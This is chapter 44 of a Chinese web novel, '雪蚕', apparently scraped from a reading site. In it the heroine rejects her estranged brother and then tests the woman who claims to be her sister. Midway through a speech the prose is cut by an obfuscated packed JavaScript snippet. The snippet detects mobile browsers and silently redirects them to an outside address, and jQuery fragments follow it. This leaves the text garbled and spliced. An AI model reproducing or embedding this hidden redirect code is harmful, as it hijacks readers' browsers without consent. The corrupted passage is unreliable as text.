44. 第 44 章

作品:《雪蚕

    宁谌闻言,眼里散过些许失落。


    他的妹妹,也许从未相信过他!


    ......


    其实,宁谌曾一直都以为,当年那件事后,整个姜家只余他一人。


    所以即使经年来,他独身一人在阴暗中踽踽独行,每每遭遇他人异样的目光,他都能做到全然无谓。


    毕竟,那些只不过是一些无关紧要的人的罢了,他们心里怎么想,又与他何干?


    于他而言,他的所思所想都只是如何报复当年姜家灭门之仇。


    凭着这个念头,他撑过了那些残酷淋漓的岁月。


    为了能让仇人血债血偿,从而慰籍父母的在天之灵,他逼着自己泯灭良知,不留余力地向上攀爬!


    他对别人狠,对自己更狠,跨过尸山火海,踩着无数人的尸骨,最终成为了宁府的养子。


    而养父也正因为看中了他的心狠,所以对于此次派遣他出使邺州,极为放心。


    毕竟像他这样的人,谁又能动摇他心中的坚定呢!


    而宁谌自身本就是带着目的来的,故对于邺州那些个无辜的村民,即使是日后事发被灭口,他都能做到无动于衷。


    原本的他,一切都按着计划行事。


    没有任何人,可以打乱他将山寨那些村民推往深渊的脚步。


    但直至雪溋的出现,他猛然惊觉,也许那个与他血脉相连的幼妹还活着。


    在看到雪溋的那一刻,他那原本孤寂的心在胸腔疯狂跳动!


    他甚至不敢去相信,那个本应于那场火灾中丧命的幼妹还存活于世!


    每每看着雪溋,特别是看着她那副与阿娘几乎如出一辙的模样,宁谌就忍不住地想去靠近,想去弥补。


    他知道,她就是萦儿,那个曾叫他哥哥的萦儿!


    但面对他的靠近,雪溋总是拒绝,她总是用冷漠以对。


    有些话,虽然他们都没有说出口,但两人似乎早知心知肚明!


    ......


    想到这儿,宁谌就忍不住面露苦笑,这或许就是他过往不择手段的报应。


    到如今,连他唯一的亲人,也不愿认他!


    宁谌微微垂眸,而后低声说道“那批米粮在寨中,这件事,岐王也知晓!”


    而这边,雪溋闻言,不由一怔!


    沈檐居然知道这件事,那说明他是故意的!


    那这么想来,沈檐或许暗地里还备有一些她都不曾知晓的后手!


    “岐王是怎么知晓这件事的?”


    雪溋抬眸看着宁谌,满脸凝重地问道。


    “当初,我们按照计划去截运米粮,原本我们的人马是不敌杨韧那边,可后面突然又来了一群人相助,我们这才顺利截获米粮。那群人马,如若我猜的不错,应当是岐王的人!”


    “那如今,那批米粮可有救济百姓?”


    雪溋略微思索后,又低声问道。


    “我们每次夜里,都会悄悄给城中百姓些许米粮,并留下字条,不准他们透露此事,如若不然,将不再供给。想来,岐王也是存有这样的目的,才让这件事顺利进行,直至今日,仍未走露丝毫风声!”


    宁谌望着雪溋,真切解释道。


    听着他这么说,蓦然间,雪溋突然想到,沈檐那些天一向早出晚归,难不成就是为了这件事?


    “你这么做,就不怕宁府怪罪吗?毕竟宁府此次派你来的目的,就是暗中相助太子一派。”


    陡然间,雪溋想起了之前山寨宁谌说的话。


    宁谌闻言,眸中闪过些许微动,萦儿这是在关心他吗?


    “萦儿,没事的。等这件事过去了,我就带着你离开这些个是是非非,我的萦儿,只需无忧无虑便好!”


    听着这话,雪溋原本应像往常一般讥讽以对,但这一刻,她却异常地沉默。


    良久,她无声地叹了口气“宁谌,这数十年,在我身边的人,一直都不是你!”


    说完,雪溋怔怔地看向了面前这个男人,继而说出了她为数不多的心里话“所以,咱们都不要再庸人自扰了。往后,你就当没我这个妹妹,我亦当没你这个兄长。”


    宁谌一时间瞪大双目,满脸的不敢置信,他没想到,雪溋居然会对他说这番话!


    明明他们才是一母所出的兄妹。


    之前萦儿不信他,怨他,恨他,他都能接受!


    可为何如今要于他这般决绝!


    宁谌双目猩红,望着雪溋,眼里满是悲苦“萦儿,你如何对我,我都未曾有过怨言,因为这都是哥哥欠你的。但为何你要与我从此陌路?”


    看着宁谌这副模样,雪溋未有丝毫心软,她只是默默地垂下眉眼,而后毫不留情地拉下宁谌拽着她的手,稳声说道“出事那个时候,我还差几日才满三岁,如今我已十七。”


    说到这儿,雪溋顿了顿,而后眼中似有水光浮过。


    “但你知道这些年来,我过的什么日子吗?


    是,你说阿姐不是好人,她在利用我。可我知道是,这些年来,与我相依为命的不是你,而是她。”


    说到这儿,雪溋似乎不忍让他看到自己的狼狈,随即转过身,颇为泣意道“我现在都还记得,那个时候,我们在长街乞食,有好心人施舍我们一个馒头,明明我们两人都已经饿得头昏眼花,可阿姐还是固执地将馒头都给了我。”


    宁谌听着雪溋的哭诉,心中懊恨不已!


    当年,都是他的错!


    是他没有保护好自己的妹妹!


    一时间,两人都有些沉默。


    良久,雪溋拭去眼角的湿意,缓缓转过身,怔怔地看向宁谌“我现在的生活很好,我不需要你自以为是的弥补。如果你真的觉得对我愧疚,那就请不要再出现在我面前,也不要再跟我说过往的那些事。”


    说完,雪溋似再也不想待在这里一般,她急切地伸出手欲打开门栓。


    “萦儿,咱们家当初之所以会被灭门,都是因为江雪月,那些人是来找她的!爹娘和婉儿,都因她而死。”


    宁谌似不忍雪溋再蒙在鼓里,他在雪溋身后痛苦地喊出了当年姜家被灭门的原因。


    而雪溋听到宁谌这番话后,放在门栓上的手微微一僵,但她并没有转身,只是轻轻地问了一句。


    “凡事没有绝对的缘由,爹爹会冒着全家的性命威胁收养阿姐,难道他不清楚后果吗?但他还是这么做了,这只能说明,爹爹愿意赌上全家的性命,都要保住阿姐,那阿姐他们家必定是对爹娘有恩。”


    宁谌一愣,他似乎没有想到,雪溋会这么说!


    但还不待宁谌回言,雪溋再次出言,只是随后的一字一句皆显冷漠。


    “姜家的事,你不去找真凶报仇,只想将一切过错都推在阿姐身上。是因为比起凶手,阿姐这个手无缚鸡之力的弱女子更容易让你尝到复仇的快感,对吧?”


    说完,雪溋回过神,怔怔地看向了他“宁谌,我一直都不喜你,你知道为什么?


    你跟阿姐不同,她或许是利用了我,但她那些年对我的爱护也是真真确确。


    而你,只是因为恰好知晓我是你的幼妹,才会对我态度如此迥然。


    至于你态度会发生那么大的变化,其实也不是因为你有多看重我们之间所谓的亲情。


    追其缘由,我的出现,可以抚平你心中的愧疚,所以你才会对我那么好。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14990120|158150||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>而同样,迁怒阿姐,可以让你不那么羞愧,所以你才会那么地厌恶阿姐。”


    说到这儿,雪溋顿了顿,而后一字一句对着面前的男人,毫不留情地说道“宁谌,你这个人,从头到尾都无比虚伪。”


    看着她话音落下,男人那变得面白如纸的神色。


    雪溋不再理会,她径直拉开门栓,从里间走出。


    ……


    回到府邸后,雪溋趋步去了江雪月的住所。


    刚一进门,便听到江雪月正在怒斥下人做事懈怠。


    似没想到雪溋会在这个时候来找她,江雪月微惊,随后立马招呼雪溋。


    “阿萦,你怎么来了?”


    江雪月脸上带着几分轻笑。


    雪溋垂了垂眸眼,而后走上前,握住江雪月的纤手“好久不见阿姐了,一时心中思念,就过来看看阿姐。”


    江雪月敏感地察觉到雪溋情绪中的不对,挥手示意周围的人退下,而后拉起雪溋的手,轻声问道“阿萦,怎么了?”


    雪溋眼中闪过些许苦涩,而后沉默地摇了摇头。


    江雪月见状,敛去眼中的暗意。


    而后看向不远处的湖泊,似回忆过往一般,自顾自地说道“阿萦都不愿跟我讲你的事了。


    其实,有的时候,我挺怀念幼时在长街流浪的那段时光。”


    说完,她似自嘲一般地笑道“那个时候,阿萦从不会对我生疑。你什么事,都愿意和我讲。


    日子苦是苦了点,但我想着,我身边还有阿萦,至少不是自己一个人,有姊妹陪着自己,心里也宽慰不少。”


    见她说起过往,雪溋也不自觉地眼眶微红。


    “是啊,那个时候,明明日子那么苦。咋两都好几天没吃东西了,可有了一个馒头,你还是毫不犹豫地把整个馒头都给了我。”


    说完,雪溋顿了顿,而眼中的泪意再也忍不住,纷纷从颊边留下“那个时候,我就在想,我以后一定要好好报答阿姐,我不会再让阿姐受苦了。”


    听着雪溋这般说,江雪月有过不忍。


    但想起陆家那些人的惨状,她终究还是狠了心,掩去了眸中的酸意。


    引诱雪溋道“那阿萦,为何如今与我生分了?可是旁人与你说了什么?”


    雪溋看着她面上的恳切,便知晓了她的意思。


    但她还是努力撑着自己,对着江雪月勉强地笑了笑“没有,哪有什么事,你我亲生姊妹,我又怎会去相信外人的挑拨之言呢?”


    说完,雪溋又佯装提起幼时之事“阿姐,我记得咱们娘亲叫我萦萦,那她是叫你月月吗?”


    江雪月闻言,下意识地敛了敛眸中的寒意,随后带着几分惆怅“阿萦,你今天来找我说的这些,不就是想知道,我究竟是不是你阿姐?”


    说完,她看向雪溋,眼底不着痕迹地划过一丝暗光“阿萦,我知道姜恕肯定找过你了。但阿萦,你要记得,你是陆家的女儿,你叫陆怀萦,是我的亲生姊妹。”


    说完,江雪月顿了顿,抬头扫视了眼雪溋的面色后,继续开口说道“有些事,有些话,不过是哄骗那些蠢货罢了。


    他们信,你也信?


    阿萦,我们才是血脉相连的亲人。你想想,如果你不是我妹妹,依我的心性,这些年为何要这般护着你?


    阿萦,如今我跟你说了这些实话,就是希望你莫要再与我离心。”


    雪溋看着她声泪俱下,这般模样,似乎很难让人怀疑她话语中的真实性,就连雪溋都有那么一恍惚地动摇。


    但她想起江雪月曾为数不多给自己提及的陆家,又想起这么多年来,两人相依为命的点点滴滴,终究还是沉默地垂下来了头。